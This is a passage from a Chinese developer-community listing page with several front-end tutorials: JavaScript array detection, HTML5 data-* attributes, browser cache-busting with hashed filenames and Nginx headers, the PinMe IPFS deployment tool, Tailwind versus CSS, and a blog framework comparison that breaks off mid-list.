  • 尽管浏览器整体是多进程的,但单个页面里的 JavaScript 依然是单线程 + 事件循环模型,这点没有变。

  • 从用户体验、前端开发、安全性、稳定性来看,多进程架构几乎是全面碾压旧时代单进程浏览器的一次升级。


作者:T___T
来源:juejin.cn/post/7580263284338311209
收起阅读 »

数组判断?我早不用instanceof了,现在一行代码搞定!

web
传统方案 1. Object.prototype.toString.call 方法 原理:通过调用 Object.prototype.toString.call(obj) ,判断返回值是否为  [object Array] 。 function isArray...
继续阅读 »

传统方案


1. Object.prototype.toString.call 方法


原理:通过调用 Object.prototype.toString.call(obj) ,判断返回值是否为  [object Array] 。


function isArray(obj){
return Object.prototype.toString.call(obj) === '[object Array]';
}

 
缺陷



  • ES6 引入 Symbol.toStringTag 后,可被人为篡改。例如:


    const obj = {
    [Symbol.toStringTag]: 'Array'
    };
    console.log(Object.prototype.toString.call(obj)); // 输出 [object Array]


  • 若开发通用型代码(如框架、库),该漏洞会导致判断失效。


2. instanceof 方法


原理:判断对象原型链上是否存在 Array 构造函数。


function isArray(obj){
return obj instanceof Array;
}

缺陷



  • 可通过 Object.setPrototypeOf 篡改原型链,导致误判。例如:


    const obj = {};
    Object.setPrototypeOf(obj, Array.prototype);
    console.log(obj instanceof Array); // 输出 true,但 obj 并非真正数组


  • 跨 iframe 场景失效。不同 iframe 中的 Array 构造函数不共享,导致真数组被误判为非数组。例如:


    const frame = document.querySelector('iframe');
    const Array2 = frame.contentWindow.Array;
    const arr = new Array2();
    console.log(arr instanceof Array); // 输出 false,但 arr 是真正数组



ES6 原生方法


方法:使用 Array.isArray 静态方法。


console.log(Array.isArray(arr));

 
优势



  • 该方法由JavaScript引擎内部实现,直接判断对象是否由 Array 构造函数创建,不受原型链、 Symbol.toStringTag  或跨 iframe 影响;

  • 完美解决所有边界场景。


总结


判断数组的方法中 Array.isArray 是唯一准确且无缺陷的方案。其他方法(如Object.prototype.toString.callinstanceof)均存在局限性,仅在特定场景下可用。


作者:南游
来源:juejin.cn/post/7579849892614094884
收起阅读 »

HTML5 自定义属性 data-*:别再把数据塞进 class 里了!

web
前言:由于“无处安放”而引发的混乱 在 HTML5 普及之前,前端开发者为了在 DOM 元素上绑定一些数据(比如用户 ID、商品价格、状态码),可谓是八仙过海,各显神通: 隐藏域流派:到处塞 <input type="hidden" value="12...
继续阅读 »

前言:由于“无处安放”而引发的混乱


在 HTML5 普及之前,前端开发者为了在 DOM 元素上绑定一些数据(比如用户 ID、商品价格、状态码),可谓是八仙过海,各显神通:



  1. 隐藏域流派:到处塞 <input type="hidden" value="123">,导致 HTML 结构像个堆满杂物的仓库。

  2. Class 拼接流派<div class="btn item-id-8848">,然后用正则去解析 class 字符串提取 ID。这简直是在用 CSS 类名当数据库用,类名听了都想离家出走。

  3. 自定义非标属性流派:直接写 <div my_id="123">。虽然浏览器大多能容忍,但这就好比在公共泳池里裸泳——虽然没人抓你,但不合规矩且看着尴尬。


直到 HTML5 引入了 data-*  自定义数据属性,这一切终于有了“官方标准”。




第一阶段:基础——它长什么样?


data-* 属性允许我们在标准 HTML 元素中存储额外的页面私有信息。


1. HTML 写法


语法非常简单:必须以 data- 开头,后面接上你自定义的名称。


codeHtml


<!-- ❌ 错误示范:不要大写,不要乱用特殊符号 -->
<div data-User-Id="1001"></div>

<!-- ✅ 正确示范:全小写,连字符连接 -->
<div
id="user-card"
data-id="1001"
data-user-name="juejin_expert"
data-value="99.9"
data-is-vip="true"
>

用户信息卡片
</div>

2. CSS 中的妙用


很多人以为 data-* 只是给 JS 用的,其实 CSS 也能完美利用它。


场景一:通过属性选择器控制样式


/* 当 data-is-vip 为 "true" 时,背景变金 */
div[data-is-vip="true"] {
background: gold;
border: 2px solid orange;
}

场景二:利用 attr() 显示数据

这是一个非常酷的技巧,可以用来做 Tooltip 或者计数器显示。


div::after {
/* 直接把 data-value 的值显示在页面上 */
content: "当前分值: " attr(data-value);
font-size: 12px;
color: #666;
}



第二阶段:进阶——JavaScript 如何读写?


这才是重头戏。在 JS 中操作 data-* 有两种方式:传统派 和 现代派


1. 传统派:getAttribute / setAttribute


这是最稳妥的方法,兼容性最好(虽然现在也没人要兼容 IE6 了)。


const el = document.getElementById('user-card');

// 读取
const userId = el.getAttribute('data-id'); // "1001"

// 修改
el.setAttribute('data-value', '100');

特点:读出来永远是字符串。哪怕你存的是 100,取出来也是 "100"。


2. 现代派:dataset API (推荐 ✨)


HTML5 为每个元素提供了一个 dataset 对象(DOMStringMap),它将所有的 data-* 属性映射成了对象的属性。


这里有个大坑(或者说是规范),请务必注意:

HTML 中的 连字符命名 (kebab-case)  会自动转换为 JS 中的 小驼峰命名 (camelCase)


const el = document.getElementById('user-card');

// 1. 访问 data-id
console.log(el.dataset.id); // "1001"

// 2. 访问 data-user-name (注意变身了!)
console.log(el.dataset.userName); // "juejin_expert"
// ❌ el.dataset.user-name 是语法错误
// ❌ el.dataset['user-name'] 是 undefined

// 3. 修改数据
el.dataset.value = "200";
// HTML 会自动变成 data-value="200"

// 4. 删除数据
delete el.dataset.isVip;
// HTML 中的 data-is-vip 属性会被移除


💡 敲黑板:dataset 里的属性名不支持大写字母。如果你在 HTML 里写 data-MyValue="1", 浏览器会强制转为小写 data-myvalue,JS 里就得用 dataset.myvalue 访问。所以,HTML 里老老实实全小写吧。





第三阶段:深入——类型陷阱与性能权衡


1. 一切皆字符串


不管你赋给 dataset 什么类型的值,最终都会被转为字符串。


el.dataset.count = 100;        // HTML: data-count="100"
el.dataset.active = true; // HTML: data-active="true"
el.dataset.config = {a: 1}; // HTML: data-config="[object Object]" -> 灾难!

避坑指南



  • 如果你要存数字,取出来时记得 Number(el.dataset.count)。

  • 如果你要存布尔值,判断时不能简单用 if (el.dataset.active),因为 "false" 字符串也是真值!要用 el.dataset.active === 'true'。

  • 千万不要试图在 data-* 里存复杂的 JSON 对象。如果非要存,请使用 JSON.stringify(),但在 DOM 上挂载大量字符串数据会影响性能。


2. 性能考量



  • 读写速度:dataset 的访问速度在现代浏览器中非常快,但在极高频操作下(比如每秒几千次),直接操作 JS 变量肯定比操作 DOM 快。

  • 重排与重绘:修改 data-* 属性会触发 DOM 变更。如果你的 CSS 依赖属性选择器(如 div[data-status="active"]),修改属性可能会触发页面的重排(Reflow)或重绘(Repaint)。




第四阶段:实战——优雅的事件委托


data-value 最经典的用法之一就是在列表项的事件委托中。


需求:点击列表中的“删除”按钮,删除对应项。


<ul id="todo-list">
<li>
<span>学习 HTML5</span>
<!-- 把 ID 藏在这里 -->
<button class="btn-delete" data-id="101" data-action="delete">删除</button>
</li>
<li>
<span>写掘金文章</span>
<button class="btn-delete" data-id="102" data-action="delete">删除</button>
</li>
</ul>

const list = document.getElementById('todo-list');

list.addEventListener('click', (e) => {
// 利用 dataset 判断点击的是不是删除按钮
const { action, id } = e.target.dataset;

if (action === 'delete') {
console.log(`准备删除 ID 为 ${id} 的条目`);
// 这里发送请求或操作 DOM
// deleteItem(id);
}
});

为什么这么做优雅?

你不需要给每个按钮都绑定事件,也不需要去分析 DOM 结构(比如 e.target.parentNode...)来找数据。数据就在元素身上,唾手可得。




总结与“禁忌”


HTML5 的 data-* 属性是连接 DOM 和数据的一座轻量级桥梁。


什么时候用?



  • 当需要把少量数据绑定到特定 UI 元素上时。

  • 当 CSS 需要根据数据状态改变样式时。

  • 做事件委托需要传递参数时。


什么时候别用?(禁忌)



  1. 不要存储敏感数据:用户可以直接在浏览器控制台修改 DOM,千万别把 data-password 或 data-user-token 放在这。

  2. 不要当数据库用:别把几 KB 的 JSON 数据塞进去,那是 JS 变量或者是 IndexDB 该干的事。

  3. SEO 无用:搜索引擎爬虫通常不关心 data-* 里的内容,重要的文本内容还是要写在标签里。




最后一句

代码整洁之道,始于不再乱用 Class。下次再想存个 ID,记得想起那个以 data- 开头的帅气属性。


Happy Coding! 🚀


作者:南山安
来源:juejin.cn/post/7575119254314401818
收起阅读 »

前端发版总被用户说“没更新”?一文搞懂浏览器缓存,彻底解决!

web
有时候我们发了新版,结果用户看到的还是老界面。 你:“我更新了啊!” 用户:“我这儿没变啊!” 然后你俩开始互相怀疑人生。 那咋办?总不能让用户都清缓存吧? 当然不能。 我们得让浏览器自己知道“该换新的了”。 核心思路就一条:让静态资源的文件名变一变。 浏览器...
继续阅读 »

有时候我们发了新版,结果用户看到的还是老界面。
你:“我更新了啊!”
用户:“我这儿没变啊!”
然后你俩开始互相怀疑人生。
那咋办?总不能让用户都清缓存吧?
当然不能。
我们得让浏览器自己知道“该换新的了”。
核心思路就一条:让静态资源的文件名变一变。
浏览器靠文件名判断是不是同一个文件。
文件名变了,它就会重新下载。


方法1:加时间戳(简单粗暴)


以前:


<script src="/js/app.js"></script>

现在:


<script src="/js/app.js?v=20250901"></script>

或者用时间戳:


<script src="/js/app.js?t=1725153600"></script>

发版的时候,改一下vt的值,浏览器看到后发现文件名不一样,就会重新下载。


优点:简单,立马见效

缺点:每次发版都得手动改,容易忘记。


方法2:用构建工具加hash(推荐!)


这是现在最主流的做法。
你用WebpackViteRollup这些工具打包时,它会自动给文件名加一串hash


<script src="/js/app.a1b2c3d.js"></script>

你代码一改,hash就变。

比如下次变成:


<script src="/js/app.e4f5g6h.js"></script>

浏览器看到后发现文件名不一样,会自动拉新文件。


使用时需要检查你的打包配置,确保输出文件带hash。


Vite配置(vite.config.js):


export default defineConfig({
build: {
rollupOptions: {
output: {
entryFileNames: 'assets/[name].[hash].js',
chunkFileNames: 'assets/[name].[hash].js',
assetFileNames: 'assets/[name].[hash].[ext]'
}
}
}
})

Vue CLI(vue.config.js):


module.exports = {
filenameHashing: true, // 默认就是 true,别关掉!
}

只要这个开着,JS/CSS 文件名就会变,浏览器就会更新。


优点:全自动,不用操心

优点:用户无感知,体验好

优点:还能利用缓存(没改的文件hash不变,继续用旧的)


来看看Vue的项目


只要你用的是Vue CLI、Vite或 Webpack打包,发版时默认就解决了缓存问题。
因为它们会自动给文件名加hash
比如你打包后:


dist/
├── assets/app.8a2b1f3.js
├── assets/chunk-vendors.a1b2c3d.js
└── index.html

你改了代码,再打包,hash就变了:


assets/app.x9y8z7w.js  # 新文件

虽说是这样,但为啥还有人卡在旧版本?


文件名带hash,但index.html这个入口文件本身可能被缓存了


流程:



  • index.html里引用了app.8a2b1f3.js

  • 用户第一次访问,加载了index.html和对应的JS

  • 你发新版,index.html指向app.x9y8z7w.js

  • 但用户浏览器缓存了旧的index.html,还在引用app.8a2b1f3.js

  • 结果:页面还是旧的


这是入口文件缓存导致的发版无效。


解决方案


方法1:让index.html不被缓存


这是最简单有效的办法。
配置Nginx,让index.html不缓存:


location = /index.html {
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
add_header Expires "0";
}

这样每次用户访问,都会重新下载最新的 index.html,自然就拿到新的 JS 文件名。



注意:其他静态资源(js/css)可以长期缓存,只有 index.html 要禁缓存。



方法2:根据版本号来控制


每一次更新都新建一个文件夹



然后修改Nginx配置


location / {
root /home/server/html/yudao-vue3/version_1_2_5;
index index.html index.htm;
try_files $uri $uri/ /index.html;
}

最后
缓存这事看着小,真出问题能让我们忙半天。
提前设好机制,发版才能睡得香。
搞定!



我是大华,专注分享前后端开发的实战笔记。关注我,少走弯路,一起进步!



📌往期精彩


《Elasticsearch 太重?来看看这个轻量级的替代品 Manticore Search》


《只会写 Mapper 就敢说会 MyBatis?面试官:原理都没懂》


《别学23种了!Java项目中最常用的6个设计模式,附案例》


《写给小公司前端的 UI 规范:别让页面丑得自己都看不下去》


《Vue3+TS设计模式:5个真实场景让你代码更优雅》


作者:刘大华
来源:juejin.cn/post/7545252678936100918
收起阅读 »

前端部署,又有新花样?

web
大多数前端开发者在公司里,很少需要直接操心“部署”这件事——那通常是运维或 DevOps 的工作。 但一旦回到个人项目,情况就完全不一样了。写个小博客、搭个文档站,或者搞个 demo 想给朋友看,部署往往成了最大的拦路虎。 常见的选择无非是 Vercel、Ne...
继续阅读 »

大多数前端开发者在公司里,很少需要直接操心“部署”这件事——那通常是运维或 DevOps 的工作。


但一旦回到个人项目,情况就完全不一样了。写个小博客、搭个文档站,或者搞个 demo 想给朋友看,部署往往成了最大的拦路虎。


常见的选择无非是 Vercel、Netlify 或 GitHub Pages。它们表面上“一键部署”,但细节其实并不轻松:要注册平台账号、要配置域名,还得接受平台的各种限制。国内的一些云服务商(比如阿里云、腾讯云)管控更严格,操作门槛也更高。更让人担心的是,一旦平台宕机,或者因为地区网络问题导致访问不稳定,你的项目可能随时“消失”在用户面前。虽然这种情况不常见,但始终让人心里不踏实。


很多时候,我们只是想快速上线一个小页面,不想被部署流程拖累,有没有更好的方法?


一个更轻的办法


前段时间我发现了一个开源工具 PinMe,主打的就是“极简部署”。



它的使用体验非常直接:



  • 不需要服务器

  • 不用注册账号

  • 在项目目录敲一条命令,就能把项目打包上传到 IPFS 网络

  • 很快,你就能拿到一个可访问的地址


实际用起来的感受就是一个字:


整个过程几乎没有繁琐配置,不需要绑定平台账号,也不用担心流量限制或收费。


这让很多场景变得顺手:



  • 临时展示一个 demo,不必折腾服务器

  • 写了个静态博客,不想搞 CI/CD 流程

  • 做了个活动页或 landing page,随时上线就好


以前这些需求可能要纠结“用 GitHub Pages 还是 Vercel”,现在有了 PinMe,直接一键上链就行。


体验一把


接下来看看它在真实场景下的表现:部署流程有多简化?访问速度如何?和传统方案相比有没有优势?


测试项目


为了覆盖不同体量的场景,这次我选了俩类项目来测试:



  • 小型项目:fuwari(开源的个人博客项目),打包体积约 4 MB。

  • 中大型项目:Soybean Admin(开源的后台管理系统),打包体积约 15 MB。


部署项目


PinMe 提供了两种方式:命令行可视化界面



这两种方式我们都来试一下。


命令行部署


先全局安装:


npm install -g pinme

然后一条命令上传:


pinme upload <folder/file-path>

比如上传 Soybean Admin,文件大小 15MB:



输入命令之后,等着就可以了:



只用了两分钟,终端返回的 URL 就能直接访问项目的控制页面。还能绑定自己的域名:



点击网站链接就可以看到已经部署好的项目,访问速度还是挺快的:



同样地,上传个人博客也是一样的流程。



部署完成:



可视化部署


不习惯命令行?PinMe 也提供了网页上传,进度条实时显示:



部署完成后会自动进入管理页面:



经过测试,部署速度和命令行几乎一致。


其他功能


历时记录


部署过的网站都能在主页的 History 查看:



历史部署记录:



也可以用命令行:


pinme list

历史部署记录:



删除网站


如果不再需要某个项目,执行以下命令即可:


pinme rm

PinMe 背后的“硬核支撑”


如果只看表层,PinMe 就像一个极简的托管工具。但要理解它为什么能做到“不依赖平台”,还得看看它背后的底层逻辑。


PinMe 的底层依赖 IPFS,这是一个去中心化的分布式文件系统。


要理解它的意义,得先聊聊“去中心化”这个概念。


传统互联网是中心化的:你访问一个网站时,浏览器会通过 DNS 找到某台服务器,然后从这台服务器获取内容。这条链路依赖强烈,一旦 DNS 被劫持、服务器宕机、服务商下线,网站就无法访问。



去中心化的思路完全不同:



  • 数据不是放在单一服务器,而是分布在全球节点中

  • 访问不依赖“位置”,而是通过内容哈希来检索

  • 只要有节点存储这份内容,就能访问到,不怕单点故障


这意味着:



  • 更稳定:即使部分节点宕机,内容依然能从其他节点获取。

  • 防篡改:文件哪怕改动一个字节,对应的 CID 也会完全不同,从机制上保障了前端资源的完整性和安全性。

  • 更自由:不再受制于中心化平台,文件真正由用户自己掌控。


当然,IPFS 地址(哈希)太长,不适合直接记忆和分享。这时候就需要 ENS(Ethereum Name Service)。它和 DNS 类似,但记录存储在以太坊区块链上,不可能被篡改。比如你可以把 myblog.eth 指向某个 IPFS 哈希,别人只要输入 ENS 域名就能访问,不依赖传统 DNS,自然也不会被劫持。



换句话说:



ENS + IPFS = 内容去中心化 + 域名去中心化




前端个人项目瞬间就有了更高的自由度和安全性。


一点初步感受


PinMe 并不是要取代 Vercel 这类成熟平台,但它带来了一种新的选择:更简单、更自由、更去中心化


如果你只是想快速上线一个小项目,或者对去中心化部署感兴趣,PinMe 值得一试。





这是一个完全开源的项目,开发团队也会持续更新。如果你在测试过程中有想法或需求,不妨去 GitHub 提个 Issue —— 这不仅能帮助项目成长,也能让它更贴近前端开发的实际使用场景!


作者:CUGGZ
来源:juejin.cn/post/7547515500453380136
收起阅读 »

快到  2026  年了:为什么我们还在争论  CSS 和 Tailwind?

web
最近在使用 NestJs 和 NextJs 在做一个协同文档 DocFlow,如果感兴趣,欢迎 star,有任何疑问,欢迎加我微信进行咨询 yunmz777 老实说,我对 Tailwind CSS 的看法有些复杂。它像是一个总是表现完美的朋友,让我觉得自己有些...
继续阅读 »

最近在使用 NestJs 和 NextJs 在做一个协同文档 DocFlow,如果感兴趣,欢迎 star,有任何疑问,欢迎加我微信进行咨询 yunmz777


老实说,我对 Tailwind CSS 的看法有些复杂。它像是一个总是表现完美的朋友,让我觉得自己有些不够好。
我一直是纯 CSS 的拥护者,直到最近,我才意识到,Tailwind 也有其独特的优点。
然而,虽然我不喜欢 Tailwind 的一些方面,但它无疑为开发带来了更多的选择,让我反思自己做决定的方式。


问题


大家争论的,不是 "哪个更好",而是“哪个让你觉得更少痛苦”。
对我来说,Tailwind 有时带来的是压力。比如:


<button
class="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-lg shadow-md hover:shadow-lg transition duration-300 ease-in-out transform hover:-translate-y-1"
>

Click me
</button>

它让我想:“这已经不再是简单的 HTML,而是样式类的拼凑。”
而纯 CSS 则让我感到平静、整洁:


.button {
background-color: #3b82f6;
color: white;
font-weight: bold;
padding: 0.5rem 1rem;
border-radius: 0.5rem;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
transition: all 0.3s ease-in-out;
}
.button:hover {
background-color: #2563eb;
box-shadow: 0 10px 15px rgba(0, 0, 0, 0.1);
transform: translateY(-4px);
}

纯 CSS 让我觉得自己在“写代码”,而不是“编排类名”。


背景说明


为什么要写这篇文章呢?因为到了 2026 年,CSS 和 Tailwind 的争论已经不再那么重要。



  • Tailwind 发布了  v4,速度和性能都大大提升。

  • 纯 CSS 也在复兴,容器查询(container queries)、CSS 嵌套(nesting)和 Cascade Layers 这些新特性令人振奋。

  • 还有像 Panda CSS、UnoCSS 等新兴工具在不断尝试解决同样的问题。
    这让选择变得更加复杂,也让开发变得更加“累”。


Tailwind 的优缺点


优点:



  1. 减少命名烦恼:你不再需要为类命名。只需使用 Tailwind 提供的类名,省去了命名的麻烦。

  2. 设计一致性:使用 Tailwind,你的设计系统自然一致,避免了颜色和间距不统一的麻烦。

  3. 编辑器自动补全:Tailwind 的 IntelliSense 使得开发更加高效,输入类名时有智能提示。

  4. 响应式设计更简单:通过简单的类名就能实现响应式设计,比传统的媒体查询更简洁。


缺点:



  1. HTML 看起来乱七八糟:多个类名叠加在一起,让 HTML 看起来复杂且难以维护。

  2. 构建步骤繁琐:你需要一个构建工具链来处理 Tailwind,这对某些项目来说可能显得过于复杂。

  3. 调试困难:开发者工具中显示的类名多而杂,调试时很难快速找到问题所在。

  4. 不够可重用:Tailwind 的类名并不具备良好的可重用性,你可能会不断复制粘贴类,而不是通过自定义组件来实现复用。


纯 CSS 的优缺点


优点:



  1. 更干净的代码结构:HTML 和 CSS 分离,代码简洁易懂。

  2. 无构建步骤:只需简单的 <link> 标签引入样式表,轻松部署。

  3. 现代特性强大:2025 年的 CSS 已经非常强大,容器查询和 CSS 嵌套让你可以更加灵活地进行响应式设计。

  4. 自定义属性:通过 CSS 变量,你可以轻松实现全站的样式管理,改一个变量,所有样式立即生效。


缺点:



  1. 命名仍然困难:即使有 BEM 或 SMACSS 等方法,命名仍然是一项挑战。

  2. 保持一致性需要更多约束:没有像 Tailwind 那样的规则,纯 CSS 需要更多的自律来保持一致性。

  3. 生态碎片化:不同团队和开发者采用不同的方式来组织 CSS,缺少统一标准。

  4. 没有编辑器自动补全:不像 Tailwind,纯 CSS 需要手动编写所有的类名和样式。


到 2026 年,你该用哪个?


Tailwind 适合:



  • 使用 React、Vue 或 Svelte 等组件化框架的开发者

  • 需要快速开发并保证一致性的团队

  • 不介意添加构建步骤并依赖工具链的人


纯 CSS 适合:



  • 小型项目或静态页面

  • 喜欢简洁代码、分离 HTML 和 CSS 的开发者

  • 想要完全掌控样式并避免复杂构建步骤的人


两者结合:



  • 你可以在简单的页面中使用纯 CSS,在复杂的项目中使用 Tailwind 或两者结合,以此来平衡灵活性与效率。


真正值得关注的 2026 年趋势



  • 容器查询:响应式设计不再依赖视口尺寸,而是根据容器的尺寸进行调整。

  • CSS 嵌套原生支持:你可以直接在 CSS 中使用嵌套,避免了依赖预处理器。

  • Cascade Layers:这让你能更好地管理 CSS 优先级,避免使用 !important 来解决冲突。

  • View Transitions API:它让页面过渡更平滑,无需依赖 JavaScript。


这些新特性将极大改善我们的开发体验,无论是使用纯 CSS 还是借助 Tailwind。


结尾


不管是 Tailwind 还是纯 CSS,都有它们的优缺点。关键是要根据项目需求和个人偏好做出选择。
至于我:我喜欢纯 CSS,因为它更干净,HTML 更直观。但是如果项目需求更适合 Tailwind,那我也会使用它。
2026 年的开发趋势,将让我们有更多选择,让我们能够用最适合的工具解决问题,而不是纠结于某种工具是否“最好”。


作者:Moment
来源:juejin.cn/post/7568674364042330166
收起阅读 »

2025博客框架选择指南:Hugo、Astro、Hexo该选哪个?

web
引言 2025年了,想搭个博客,在Hugo、Hexo、Astro之间纠结了一周,还是不知道选哪个? 我完全理解这种感受。去年我也在这几个博客框架之间来回折腾,看了无数对比文章,最后发现大部分都是2022-2023年的过时内容。性能数据变了、框架更新了、生态也不...
继续阅读 »

Gemini_Generated_Image_c4yo85c4yo85c4yo.jpg


引言


2025年了,想搭个博客,在Hugo、Hexo、Astro之间纠结了一周,还是不知道选哪个?


我完全理解这种感受。去年我也在这几个博客框架之间来回折腾,看了无数对比文章,最后发现大部分都是2022-2023年的过时内容。性能数据变了、框架更新了、生态也不一样了。每次看完一篇文章就更纠结,到底该听谁的?


更让人崩溃的是,深夜折腾博客配置,第二天还要上班。花了三个月研究框架,结果一篇文章都没写出来。这种感觉,相信你也经历过。


这篇文章基于2024-2025年最新数据,用真实的构建时间测试、实际的使用体验,帮你在5分钟内做出最适合的选择。不是告诉你"哪个最好",而是"哪个最适合你"。


我会用9大框架的最新性能对比、3分钟决策矩阵,帮你避免90%新手会踩的坑。说实话,早点看到这篇文章,我能省好几周时间。


为什么2025年还在聊博客框架?


静态博客真的还有必要吗?


老实讲,我一开始也觉得搭博客是个过时的想法。但用了一年多,真香。


静态博客和WordPress这类动态博客的本质区别,就是"提前做好"和"现场制作"的区别。静态网站生成器(SSG)会在你写完文章后,就把所有页面生成好,像做批量打印一样。访客来了直接看成品,速度飞快。WordPress这类动态博客呢,每次有人访问就现场从数据库拉数据、拼装页面,就像现场手工做菜。


为什么静态博客成为主流趋势?


说白了就是:快、便宜、不用操心服务器。


WordPress需要租服务器,一个月怎么也得几十块钱起步。静态博客呢?GitHub Pages、Vercel、Cloudflare Pages全都免费托管。我现在博客一年花费0元,连域名都是之前买的。


性能上更没得比。静态页面的Lighthouse评分能轻松拿到95+,WordPress想到90分都费劲。用户打开页面,一眨眼就加载完了,这种体验真的会让人爱上写博客。


那什么时候该选动态博客?


也不是说静态博客就天下无敌。如果你要做复杂的功能,比如:



  • 多人协作发布(需要后台管理)

  • 电商集成(要处理支付、订单)

  • 复杂的用户系统(评论、权限管理)


这些场景,WordPress或者Ghost确实更合适。但老实说,大部分个人博客和技术博客,真用不到这些。


一句话总结:个人博客、技术文档、作品展示,选静态博客框架准没错。需要复杂功能、多人协作,才考虑动态博客。


性能对决 - 谁是速度之王?


性能这块,说实话是我最关心的。刚开始用Gatsby的时候,每次改一点内容,重新构建等十几分钟,真的想砸电脑。


构建速度:差距大到惊人


先说结论:Hugo是速度之王,没有之一


看看这组2024年的实测数据:


| 框架 | 构建10000页用时 | 平均每页速度 |


|------|----------------|-------------|


| Hugo | 2.95秒 | <1ms |


| Hexo | 45秒(1000页) | ~45ms |


| Jekyll | 187.15秒 | ~18ms |


| Gatsby | 30分钟+ | ~180ms |


第一次看到Hugo的构建速度,真的惊到我了。10000篇文章,不到3秒!这意味着啥?你改个标题、修个错别字,按个保存,页面刷新,博客就更新完了。这种即时反馈,爽到飞起。


Hexo呢,中型博客(100-1000文章)表现也挺不错。我之前300篇文章的博客,15秒就构建完成,完全够用。


Gatsby...嗯,别提了。我用它做过一个项目,200多篇文章,每次构建5分钟起步。后来文章多了,直接放弃了。


页面加载速度:Astro异军突起


2024年Astro成了最大黑马。根据HTTP Archive的数据:



  • Astro:中位传输大小889KB(最轻)

  • Hugo:1,174KB(平衡不错)

  • Next.js:1,659KB(功能多,体积大)


Astro的"零JavaScript默认"策略真的厉害。页面只加载必要的JS,不像其他框架,把整个React/Vue库都塞给用户。结果就是,页面打开速度飞快,用户体验特别好。


实际项目表现:别只看数字


老实讲,如果你博客不到100篇文章,选啥框架都差不多。几秒和十几秒的区别,你感受不出来。


但如果你计划长期写作,文章会越来越多,提前选个性能好的框架,能省很多麻烦。我见过太多人,开始用了Gatsby,写到500篇文章,构建慢到受不了,迁移框架,那个痛苦...


推荐组合



  • 小型博客(<100文章):随便选,都够用

  • 中型博客(100-1000文章):Hugo、Hexo、Astro

  • 大型站点(1000+文章):闭眼选Hugo


开发体验 - 哪个最好用?


性能再好,用起来糟心,也是白搭。


学习曲线:新手别踩坑


说实话,Hugo的Go模板语法,我当初学了好久才上手。那些{{ range }}{{ with }}的语法,刚开始真的看懵了。虽然性能无敌,但新手上来就选Hugo,可能会被劝退。


新手友好度排名



  1. Hexo(最友好):Node.js生态,中文文档多到看不过来。配置就是一个_config.yml文件,改几个参数就能跑起来。我当时半小时就搭好了第一个博客。

  2. Jekyll(友好):Ruby生态,官方文档写得特别清楚,按着步骤来不会错。GitHub Pages原生支持,push一下就自动部署。

  3. VuePress(需要前端基础):如果你会Vue,上手很快。不会的话,还得先学Vue,成本就高了。

  4. Gatsby/Next.js(陡峭):要懂React、GraphQL,配置复杂。我看到配置文件就头大。


我的建议:如果你和我一样是Node.js开发者,Hexo真的是顺手。装个npm包,改改配置,半小时搞定。前端技术栈是React?那Astro或Next.js更合适。别纠结了,新手就选Hexo,错不了。


配置和自定制:平衡艺术


Hexo和Jekyll的配置简单直接,一个YAML文件搞定。但也有缺点:想做复杂定制,就得深入源码改,不太灵活。


Gatsby的灵活性确实强,GraphQL数据层可以接各种数据源。但坦白说,个人博客真用不到那么复杂的功能。就像买了辆跑车在市区开,性能过剩了。


Astro走了个中间路线,既灵活又不复杂。支持多框架(React、Vue、Svelte随便混),但配置没那么吓人。这种平衡感,我挺喜欢的。


开发工具和调试


现代框架在开发体验上真的吊打老框架。


Vite驱动的Astro和VuePress,热重载快到飞起。改个内容,不到1秒页面就更新了。Webpack那套老架构,等待时间能让人发呆。


Hugo虽然是传统框架,但速度快,改完刷新也很即时。这点体验还不错。


生态系统 - 主题与插件谁更丰富?


框架再好,没主题也白搭。谁想从零开始写CSS啊。


主题生态:Hexo中文世界称王


Hexo真的是中文博客的天选之子。200+中文主题,风格各异,总有一款适合你。我用的那个主题,中文文档详细到连怎么改字体颜色都写得清清楚楚。


Hugo主题虽然有300+,但质量参差不齐。有些特别精美,有些就是demo级别。很多主题文档是英文的,踩坑全靠自己摸索。


Jekyll作为老牌框架,主题数量最多,但很多都是好几年前的设计风格了,看着有点过时。


Gatsby和Astro的主题,走的是现代化路线,设计感很强。如果你追求视觉效果,这两个不错。


插件和扩展能力


Jekyll的插件生态最庞大,毕竟历史最久。想要啥功能,基本都能找到插件。


Gatsby依托npm生态,插件也超级丰富。但很多插件其实是为商业项目设计的,个人博客可能用不上。


Hexo插件生态在Node.js圈很成熟,常用的评论、搜索、SEO优化,都有现成插件。我装了七八个插件,没遇到过兼容问题。


社区活跃度:看数据说话


2024-2025年的数据挺有意思:



  • Astro:增长最快,npm下载量2024年9月达到300万。Netlify调查显示,它是2024年开发者关注度最高的框架。

  • Hugo:GitHub星标6万+,稳定增长,老牌强者。

  • Hexo:中文社区最活跃,知乎、掘金、CSDN到处都是教程。


说实话,社区活跃度对新手很重要。遇到问题,能搜到中文解决方案,省太多时间了。


部署与SEO - 上线才是王道


博客搭好了,不上线有啥用?


部署平台:全都免费真香


现在部署静态博客,真的太简单了。


GitHub Pages:Jekyll原生支持,push代码就自动部署。其他框架需要配个GitHub Actions,也就多写几行配置,5分钟搞定。


Vercel/Netlify:这俩是我最推荐的。拖个仓库进去,自动识别框架,自动构建部署。都有免费额度,个人博客完全够用。我现在用的Vercel,一年没花过一分钱。


Cloudflare Pages:性能特别好,CDN全球分布。免费额度也很大,速度比GitHub Pages快不少。


老实讲,2025年部署静态博客,已经没有技术门槛了。真的,比你想象的简单。


SEO:静态博客天生优势


所有静态博客框架,SEO都友好。为啥?生成的都是纯HTML,搜索引擎最爱这个。


区别在于细节:



  • Hugo和Jekyll:成熟稳定,sitemap、RSS自动生成,SEO基础功能齐全。

  • Astro和Next.js:在现代SEO实践上更领先,支持更细致的元数据管理,结构化数据也更方便。

  • Hexo:通过插件实现SEO功能,也挺完善,中文SEO教程多。


说白了,只要你写好内容、优化好关键词、页面结构合理,用哪个框架SEO都不会差。别太纠结这个。


长期维护成本:别选冷门框架


这个坑我踩过。之前用过一个小众框架,开始挺好,半年后发现作者不更新了。后来依赖库升级,博客直接跑不起来,迁移框架花了整整一周。


低维护框架:Hugo、Jekyll。成熟稳定,基本不会出幺蛾子。我Hugo博客跑了一年多,一次问题都没遇到。


需要关注更新:Gatsby、Next.js。依赖多,更新频繁,偶尔会遇到breaking changes。如果你不想经常折腾,慎选。


平衡选手:Astro、Hexo。更新有节制,兼容性做得不错。


决策框架 - 如何选择最适合你的?


好了,前面说了这么多数据和对比,到底该怎么选?


3分钟快速决策矩阵


别想太多,回答三个问题:


问题1:你的技术栈是什么?


